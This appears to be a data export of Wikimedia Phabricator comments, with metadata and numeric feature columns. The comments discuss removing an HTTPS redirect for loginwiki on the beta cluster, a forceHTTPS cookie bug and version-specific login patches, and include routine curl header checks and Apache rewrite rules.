X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=loginwikiToken;string-contains=loginwikiLoggedOut;string-contains=forceHTTPS;string-contains=loginwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
Last-Modified: Fri, 18 Oct 2013 19:49:28 GMT
Location: URL
Content-Type: text/html; charset=utf-8
X-Varnish: 688133, 906468558
Via: 1.1 varnish, 1.1 varnish
Date: Fri, 18 Oct 2013 19:49:28 GMT
Age: 0
Connection: keep-alive
X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)


I guess that fix the issue."
280359,Remove https redirect for loginwiki in beta,"I updated the apache config and restarted the apaches. deployment-cache-text1 is still giving the https redirect for now:

csteipp@linux-hv06:~> curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1 | egrep ""(Location|X-Cache:)""
Location: https://login.wikimedia.beta.wmflabs.org/
X-Cache: deployment-cache-text1 hit (3), deployment-cache-text1 frontend hit (3)

However the backend apaches are correctly not redirecting at this point:

csteipp@deployment-bastion:/data/project/apache/conf$ curl -I -H ""Host: login.wikimedia.beta.wmflabs.org"" http://10.4.0.187 2>&1 | grep Location
Location: http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page

So, hopefully in about 1200 seconds, we'll get the right answer from the cache too.",,,1382110422,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,1.5,1.0,6.5,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,1.5,9.5,0.0,0.5,4.5,0.0,0.5,0.0,0.0,1.0,0.0,4.0,0.0,1.5,3.0,14.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,3.984848484848485,0.7424242424242424,"I updated the apache config and restarted the apaches. deployment-cache-text1 is still giving the https redirect for now:

csteipp@linux-hv06:~> curl -qI 'URL 2>&1 | egrep ""(Location|X-Cache:)""
Location: URL
X-Cache: deployment-cache-text1 hit (3), deployment-cache-text1 frontend hit (3)

However the backend apaches are correctly not redirecting at this point:

csteipp@deployment-bastion:/data/project/apache/conf$ curl -I -H ""Host: login.wikimedia.beta.wmflabs.org"" URL 2>&1 | grep Location
Location: URL

So, hopefully in about 1200 seconds, we'll get the right answer from the cache too."
280358,Remove https redirect for loginwiki in beta,"Yep, just need to comment out these lines in loginwiki.conf:

    RewriteCond %{HTTP:X-Forwarded-Proto} !https
    RewriteRule ^/(.*)$ https://login.wikimedia.beta.wmflabs.org/$1 [R=301,L]

I'll do that in the morning when other people are around in case something blows up.",,,1382066698,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,18.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,12.0,14.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.019607843137255,0.9411764705882353,"Yep, just need to comment out these lines in loginwiki.conf:

    RewriteCond %{HTTP:X-Forwarded-Proto} !https
    RewriteRule ^/(.*)$ URL [R=301,L]

I'll do that in the morning when other people are around in case something blows up."
280355,Remove https redirect for loginwiki in beta,"
The contents of wikimedia.conf and also of wikimedia-ssl-backend.conf and many others here: 

###
# This Apache configuration file should be left empty
#
# It is supposed to be linked to whenever we want to skip an Apache
# configuration file coming from production.
###

My apache-fu is long out of date.  Is it loginwiki.conf that we want?  It is the only conf file in the directory that mentions https explicitly.

The contents of the directory: 

@deployment-bastion:/data/project/apache/conf$ ls
all.conf     foundation.conf  nonexistent.conf   redirects.conf  testwiki.conf  wikimedia.conf              wikiquote.conf    wikiversity.conf  wmflabs-logging.conf
config.conf  loginwiki.conf   placeholder.conf   remnant.conf    upload.conf    wikimedia-ssl-backend.conf  wikisource.conf   wiktionary.conf   www.wikipedia.conf
en2.conf     main.conf        postrewrites.conf  site.conf       wikidata.conf  wikinews.conf               wikispecies.conf  wmflabs.conf",,,1382019767,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,False,,,7,True,0.5,0.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,2.5,5.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,14.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,3.0,5.0,0.5,1.0,4.0,0.0,0.0,0.0,5.0,1.5,0.0,0.5,0.0,3.0,5.0,14.5,0.5,0.0,0.0,3.0,0.5,1.5,0.5,0.0,0.5,0.0,0.0,1.0,5.395061728395062,0.6728395061728395,"
The contents of wikimedia.conf and also of wikimedia-ssl-backend.conf and many others here: 

###
# This Apache configuration file should be left empty
#
# It is supposed to be linked to whenever we want to skip an Apache
# configuration file coming from production.
###

My apache-fu is long out of date.  Is it loginwiki.conf that we want?  It is the only conf file in the directory that mentions https explicitly.

The contents of the directory: 
SCREEN_NAME-bastion:/data/project/apache/conf$ ls
all.conf     foundation.conf  nonexistent.conf   redirects.conf  testwiki.conf  wikimedia.conf              wikiquote.conf    wikiversity.conf  wmflabs-logging.conf
config.conf  loginwiki.conf   placeholder.conf   remnant.conf    upload.conf    wikimedia-ssl-backend.conf  wikisource.conf   wiktionary.conf   www.wikipedia.conf
en2.conf     main.conf        postrewrites.conf  site.conf       wikidata.conf  wikinews.conf               wikispecies.conf  wmflabs.conf"
280351,Remove https redirect for loginwiki in beta,"oops.

The Apache confs are in the project shared directory under /data/project/apache/conf   The directory is a local git repository so you can track changes.

Once changed, you have to manually restart apache on deployment-apache32.pmtpa.wmflabs and deployment-apache33.pmtpa.wmflabs.

Sorry for the confusion.",,,1381961510,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,11.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0181818181818185,0.7636363636363637,"oops.

The Apache confs are in the project shared directory under /data/project/apache/conf   The directory is a local git repository so you can track changes.

Once changed, you have to manually restart apache on deployment-apache32.pmtpa.wmflabs and deployment-apache33.pmtpa.wmflabs.

Sorry for the confusion."
280347,Remove https redirect for loginwiki in beta,This is in apache's config. So I made the change in wikimedia.conf for production... I'm not sure what the beta equivalent of that is.,,,1381960687,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8275862068965516,0.8275862068965517,This is in apache's config. So I made the change in wikimedia.conf for production... I'm not sure what the beta equivalent of that is.
280342,Remove https redirect for loginwiki in beta,"I took a look through CommonSettings and InitialiseSettings but didn't find any likely sources to control a redirect to https.  

Is this control actually in the apache .conf itself?  Or did I just miss it in the Settings.php files?",,,1381959368,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,False,,,7,True,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,16.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,11.0,7.0,4.0,0.0,0.0,9.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.311111111111111,0.8222222222222222,"I took a look through CommonSettings and InitialiseSettings but didn't find any likely sources to control a redirect to https.  

Is this control actually in the apache .conf itself?  Or did I just miss it in the Settings.php files?"
280338,Remove https redirect for loginwiki in beta,"The MediaWiki configuration for beta are the same as being used in production: operations/mediawiki-config.git although there are some override in files named suffixed with '-labs.php'.

So if that feature got enabled in production, it has been enabled at the same time on beta :-]   Whatever the option is, you will want to override it either in wmf-config/CommonSettings-labs.php or wmf-config/InitialiseSettings-labs.php.",,,1381955494,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c2,3,True,,,7,True,1.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,7.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,14.0,10.0,0.0,2.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.369047619047619,0.7142857142857143,"The MediaWiki configuration for beta are the same as being used in production: operations/mediawiki-config.git although there are some override in files named suffixed with '-labs.php'.

So if that feature got enabled in production, it has been enabled at the same time on beta :-]   Whatever the option is, you will want to override it either in wmf-config/CommonSettings-labs.php or wmf-config/InitialiseSettings-labs.php."
57760,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"cookies in Chrome

don't send forceHTTPS cookie for any beta.wmflabs.org host

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12680}",Needs Triage,90.0,1381872000,1386004991.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_description,resolved,True,c2,3,False,False,False,6,True,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.975609756097561,0.6097560975609756,"cookies in Chrome

don't send forceHTTPS cookie for any beta.wmflabs.org host

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12680}"
277837,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,It shouldn't be. Anyone can reopen if they see this pop up again.,,,1386004991,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,True,,,13,True,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.9375,It shouldn't be. Anyone can reopen if they see this pop up again.
277833,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Chris, is that still an issue?",,,1385995538,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,True,,,13,True,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,"Chris, is that still an issue?"
277826,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Change 90670 merged by jenkins-bot:
Update beta to use loginwiki for SUL

https://gerrit.wikimedia.org/r/90670",,,1382479112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,17.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,"Change 90670 merged by jenkins-bot:
Update beta to use loginwiki for SUL

GERRIT_URL"
277817,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Change 90670 had a related patch set uploaded by CSteipp:
Update beta to use loginwiki for SUL

https://gerrit.wikimedia.org/r/90670",,,1382137008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 90670 had a related patch set uploaded by CSteipp:
Update beta to use loginwiki for SUL

GERRIT_URL"
277807,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"I'm not able to reproduce this in development, but I do see it in beta.

It seems like SUL2 isn't configured correctly in beta, so I'll probably try and fix that first.

I'm also a little suspicious that SpecialCentralAutoLogin::getCentralSession() looks directly at the user preference for cookie security instead of calling User::requiresHTTPS(), which would check if wgSecureLogin is disabled.",,,1381946028,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,3.0,3.0,4.0,0.0,0.0,0.0,1.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,11.0,4.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,16.0,3.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.533333333333333,0.7866666666666666,"I'm not able to reproduce this in development, but I do see it in beta.

It seems like SUL2 isn't configured correctly in beta, so I'll probably try and fix that first.

I'm also a little suspicious that SpecialCentralAutoLogin::getCentralSession() looks directly at the user preference for cookie security instead of calling User::requiresHTTPS(), which would check if wgSecureLogin is disabled."
57640,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Needs patches for other versions - only got 1.17 and 1.20 at the moment, so it probably needs 1.19, 1.21, and 1.22, especially as those are all of the current releases.

Uncyclomedia has the file patched for 1.21, but nobody exported an actual patch file and I'm not sure it actually works, either - seems to have worked for uncyclopedia, but testing failed for ?pedia?


(From what I understand, this is the patch to make it prevent the creation of accounts with names that folks might otherwise try to import. If I'm wrong about this someone smack me.)

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1381525920,1406357092.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,False,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_description,resolved,True,c2,3,False,False,False,6,True,0.5,0.5,0.0,0.0,0.5,3.5,1.0,0.0,0.0,0.5,1.0,1.0,0.0,0.5,0.0,2.5,0.0,3.5,10.0,1.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.5,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,0.0,8.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,1.0,6.0,1.0,2.5,6.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,4.5,10.0,2.0,1.5,0.0,0.0,4.5,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,3.8960711150131693,0.7703028972783144,"Needs patches for other versions - only got 1.17 and 1.20 at the moment, so it probably needs 1.19, 1.21, and 1.22, especially as those are all of the current releases.

Uncyclomedia has the file patched for 1.21, but nobody exported an actual patch file and I'm not sure it actually works, either - seems to have worked for uncyclopedia, but testing failed for ?pedia?


(From what I understand, this is the patch to make it prevent the creation of accounts with names that folks might otherwise try to import. If I'm wrong about this someone smack me.)

--------------------------
**Version**: master
**Severity**: normal"
2374918,"Add patches for SpecialUserlogin.php for mw1.21, 1.23",Oops,,,1720574743,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,567,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Oops
2374912,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change #1053081 had a related patch set uploaded (by Pppery; author: Pppery):
%%%[mediawiki/extensions/timeline@master] ISO 8601 support%%%
https://gerrit.wikimedia.org/r/1053081",,,1720573723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,567,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.121212121212121,0.8484848484848485,"Change #1053081 had a related patch set uploaded (by Pppery; author: Pppery):
%%%[mediawiki/extensions/timeline@master] ISO 8601 support%%%
GERRIT_URL"
270879,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","I filed bug 68607 to stop needing patches.

1.19 is going to be EOL soon, so I guess we don't need that. Uncyclomedia skipped 1.22, so a core patch for it isn't super important.",,,1406357092,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,12.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,10.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.4523809523809526,0.8095238095238095,"I filed bug 68607 to stop needing patches.

1.19 is going to be EOL soon, so I guess we don't need that. Uncyclomedia skipped 1.22, so a core patch for it isn't super important."
270873,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 148409 merged by Legoktm:
Core patch for 1.23.

https://gerrit.wikimedia.org/r/148409",,,1406356911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Change 148409 merged by Legoktm:
Core patch for 1.23.

GERRIT_URL"
270867,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 148409 had a related patch set uploaded by Jack Phoenix:
Core patch for 1.23.

https://gerrit.wikimedia.org/r/148409",,,1406048046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.15,0.95,"Change 148409 had a related patch set uploaded by Jack Phoenix:
Core patch for 1.23.

GERRIT_URL"
270863,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Still need 1.19, 1.22.",,,1384914204,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,"Still need 1.19, 1.22."
270859,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 87918 merged by Isarra:
Add patch for 1.21.2

